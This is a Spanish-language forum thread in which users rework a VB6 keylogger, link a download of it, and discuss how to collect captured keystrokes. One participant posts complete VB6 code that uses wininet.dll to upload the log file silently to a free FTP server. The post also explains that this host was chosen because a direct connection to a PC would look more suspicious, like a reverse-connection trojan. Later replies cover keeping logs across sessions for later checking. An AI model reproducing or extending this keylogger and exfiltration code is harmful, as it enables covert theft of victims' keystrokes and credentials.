Autor
|
Tema: keylogger en vb6 para analisis (Leído 4,452 veces)
|
lararich
Desconectado
Mensajes: 21
|
Tengan Todos un Estupendo Día he aquí que voy directamente al grano hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa: http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.htmlsin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar. 1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " " lo cual no me pareció para nada, y lo corregí. 2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo lo que hice al respecto fue hacer que efectivamente grabara la fecha del evento al momento de iniciar sesión únicamente y no en cada captura de texto como lo había manejado el autor original. 3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra. lo que quiero decir es que el código no es de mi creación pero presento las mejoras y el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea. sin mas regadera, tenéis a continuación el nuevo código mejorado: http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip
|
|
« Última modificación: 29 Septiembre 2014, 21:08 pm por lararich »
|
En línea
|
|
|
|
XresH
|
Tengan Todos un Estupendo Día he aquí que voy directamente al grano hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa: http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.htmlsin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar. 1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " " lo cual no me pareció para nada, y lo corregi.2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo quite eso. 3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra. lo que quiero decir es que el código no es de mi creación pero presento las mejoras y el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea. sin mas regadera, tenéis a continuación el nuevo código mejorado: http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.
PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.
Saludos.
|
|
|
En línea
|
|
|
|
lararich
Desconectado
Mensajes: 21
|
El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.
PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.
Saludos.
si le puedes generar código mas lógico del que ya tiene es bienvenido tu aporte, de hecho es la base fundamental de abrir este hilo, con lo del ftp poco entendi talvez porque nunca he experimentado un keylogger destinado a almacenar en ftp de repente y tiene un gran sentido, si se destina a guardar en ftp mejor que borre y si se quiere almacenar en pc local que no borre porque talvez no todos los dias quicieramos chekear y chekear que hay pescado. XresH presenta tu punto de vista y veremos, piensa en que si se apaga el pc donde reside el keylogger asaber si dara tiempo de realizar el envio programado al cerrar sesion a menos que reinicie en un tiempo determinado por alguno de los timer de visual basic que lo asisten, lo que no termino que recabar es el hecho de como se almacena en ftp la llegada de una y luego otra informacion nueva, no me lo imagino al pensar si tengo un fichero keylogger.txt generado del keylogger y para actualizarlo no se si borrará el actual fichero o solo añadirá la entrada nueva anexando los datos antiguos con los nuevos. nunca tuve ftp para algo asi por eso lo del enredo. disculpa saludos
|
|
« Última modificación: 29 Septiembre 2014, 21:49 pm por lararich »
|
En línea
|
|
|
|
XresH
|
Si jamas viste lo de guardarlo en Ftp al finalizar sesion, voy a armar un codigo y luego lo resubo a mediafire, asi ves como funciona, a su vez voy a colocar en el foro el metodo que utilize para realizar una conexion al Host gratuito que utilizamos como Ftp y asi poder alojar nuestro archivo sin necesidad de crear una conexion a determinado ordenador, que es mas sospechoso, ya que si intentaramos establecer una conexion hacia otra PC en concreto para luego transferir el archivo estariamos usando la misma base que en un troyano de conexion inversa.
Esta noche analizo el codigo y veo posibles mejoras, te comento que intentare continuar lo que programaste manteniendo el codigo original que expusiste y realizar un code mejorado adaptado a lo que estas programando, ya que por lo que he visto programamos distinto.
Saludos.
|
|
|
En línea
|
|
|
|
XresH
|
Bueno te voy a exponer el codigo para realizar lo que te dije a traves de una conexion hacia un Ftp gratuito, el codigo lo extrai de un viejo sistema que tenia por ahi guardado, el codigo original no fue escrito por mi, es decir, lo tome de esta pagina:http://www.bigresource.com/ No tengo con exactitud el link porque fue hace mucho, pero tengo seguridad que fue de esa web (por cierto, te la recomiendo)
El code original lo rearme para ser usado en mi aplicacion, pero ahora hice un codigo nuevo para mostrarte un ejemplo y lo puedas aplicar vos a un proyecto de prueba donde deberas modificarlo para que "encaje" en tu programa.
En el form tengo dos frames, uno con controles para conectar y otro para subir el archivo, esto reitero que es un ejemplo, nada va a ser visible (para el keylogger), tambien tene en cuenta que no es 100 % precisa, pero es una forma de base para que te guies, podrias hacer que al finalizar cada sesion se intente enviar los datos al Ftp, si hay exito reiniciar la db, sino resguardar.
primer frame tiene 3 textbox, y 1 boton de comando:Private Sub cmdConectar_Click() With DatosConexion .User = txtUser.Text .Pass = txtPass.Text .NameFTP = txtNombreFTP.Text If IniConex(.User, .Pass, .NameFTP) = True Then MsgBox "conecto xD" Else MsgBox "revise los datos de conexion, no se pudo conectar", vbOKOnly + vbCritical, "Atencion: Error" End If End With End Sub
El segundo frame tiene 2 cajas de text y otro boton de comando:Private Sub cmdSubir_Click() On Error GoTo errsub ArchivoSub txtOrigen.Text, txtDestinoFTP Exit Sub errsub: If Err.Number = 32755 Then Exit Sub End Sub
Las funciones (y demas) las tengo en un modulo:Option Explicit Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect&, ByVal lpszLocalFile$, ByVal lpszNewRemoteFile$, ByVal dwFlags&, ByVal dwContext&) As Boolean Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession&, ByVal sServerName$, ByVal nServerPort%, ByVal sUserName$, ByVal sPassword$, ByVal lService&, ByVal lFlags&, ByVal lContext&) As Long Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent$, ByVal lAccessType&, ByVal sProxyName$, ByVal sProxyBypass$, ByVal lFlags&) As Long Type ConnData User As String Pass As String NameFTP As String ' ejemplo "ftp.microsoft.com" End Type Public Function IniConex(Usuario$, Password$, NombreServer$) As Boolean IniConex = False TestConexion = InternetOpen(vbNullString, 0, vbNullString, vbNullString, 0) If TestConexion = 0 Then MsgBox "No hay conexion a internet", vbOKOnly + vbCritical, "Atencion: Error" Exit Function Else IniConex = True reConFtp = InternetConnect(TestConexion, NombreServer, 21, Usuario, Password, 1, IIf(True, &H8000000, 0), 0) If reConFtp Then Else MsgBox "datos erroneos, verifique pass, user y nombre de ftp", vbOKOnly + vbCritical, "Error" IniConex = False End If End If End Function Public Sub ArchivoSub(unaRutaArchivo$, ArchivoRemm$) Dim UpFtp As Boolean UpFtp = FtpPutFile(reConFtp, unaRutaArchivo, ArchivoRemm, 1, 0) If UpFtp Then MsgBox "archivo subido correctamente", vbOKOnly + vbInformation, "Finalizado" Else MsgBox "error al subir", vbOKOnly + vbCritical, "Atencion: Error" End If End Sub
En otro modulo variables:Option Explicit Public TestConexion& Public reConFtp& Public DatosConexion As ConnData
Si quieren el codigo fuente lo subi a mediafire:https://www.mediafire.com/?u84zjhl8yb3d5b5 El codigo comprueba que haya internet para realizar seguidamente la conexion al Ftp establecido.
En el fuente esta un ejemplo con una cuenta que hice en un servidor gratuito, esta el user y pass colocados.
Cualquier duda con el codigo no dudes en consultar, si queres comentarios en la fuente lo hago pero es basico no lo veo necesario.
PD: es un code simple y con fallas, tampoco lo probe a fondo pero subir archivos los sube.
Saludos.
|
|
|
En línea
|
|
|
|
lararich
Desconectado
Mensajes: 21
|
XresH recibe un saludo
probe tu tool ftp, funciona estupensamente bien te Felicito esta chula, coloque alli texto.txt en tu ftp
sin embargo sigo confundido veras porque:
en cada subida que algo del mismo archivo esto es texto.txt lo que hace es guardar el estado de la ultima subida del fichero texto.txt, ejemplo:
si dentro de texto.txt dice "esto es la primnera prueba" y lo envio pues asi queda obviamente.
pero XresH
si en la segunda subida el mismo fichero texto.txt ya dice "esto es la segunda prueba" y lo envio la p`rimera informacion la estoy perdiendo.
entonces
este era el punto de critica constructiva en el post si el keylogger debería borrar los datos anteriores para establecer solo los registros de la ultima sesion, es poresto que yo hice que mi keylogger no borrara lo que ya contenia el Texto.txt que el genera.
quisiera supieras exactamente como es que intento explicar
tu dices debe borrar y mandar solo los datos de la ultima sesion para no saturar el registro, pero imagina si tardas una semana en revisar los registros cuantos pudo haber borrado en cada sesion que inicie, recordemos hay muchas pc que no estan dia y noche corrido encendidas.
una vez mas recibe un saludo, y si estoy muy equivocado disculpa y considera jamas utilice un ftp en relacion a keylogger pero me interesa mucho saber que procedimiento es mejor a todos nos interesa literalmente.
|
|
|
En línea
|
|
|
|
XresH
|
De eso se trata tu hilo, de analizar lo que se plantea, es un detalle que olvide, es cierto lo que decis, de todas maneras se puede realizar para obtener los archivos y definir si el mismo se esta duplicando, o bien, podrias guardar un nombre consecutivo:Sesion 1: sesion1.txt Sesion 2: sesion2.txt Sesion 3: sesion3.txt Sesion 4: sesion4.txt
Se entiende? de esa forma tendrias en orden cada sesion, si vos queres que sea en un mismo archivo, es cuestion de modificar algunas cosas y añadir otras.
Yo no digo de borrar o enviar, esto fue a modo de ejemplo, a lo que voy es que al enviar PUT al servidor como parametro sobreescribe si el mismo es existente.
Podes enterarte buscando un poco en google sobre los comandos Ftp desde Visual 6.
Podriamos usar tambien Send como parametro. Ahi tienes una tarea, poder realizar a tu gusto si son archivos consecutivos como te dije o de actualizacion del mismo, no es dificil, cualquier duda intentare ayudarte.
PD: Podriamos intentar hacerlo de las dos formas para que practiques un poco.(so las que se me ocurrieron de momento, podria haber alguna otra)
Saludos.
|
|
|
En línea
|
|
|
|
|
|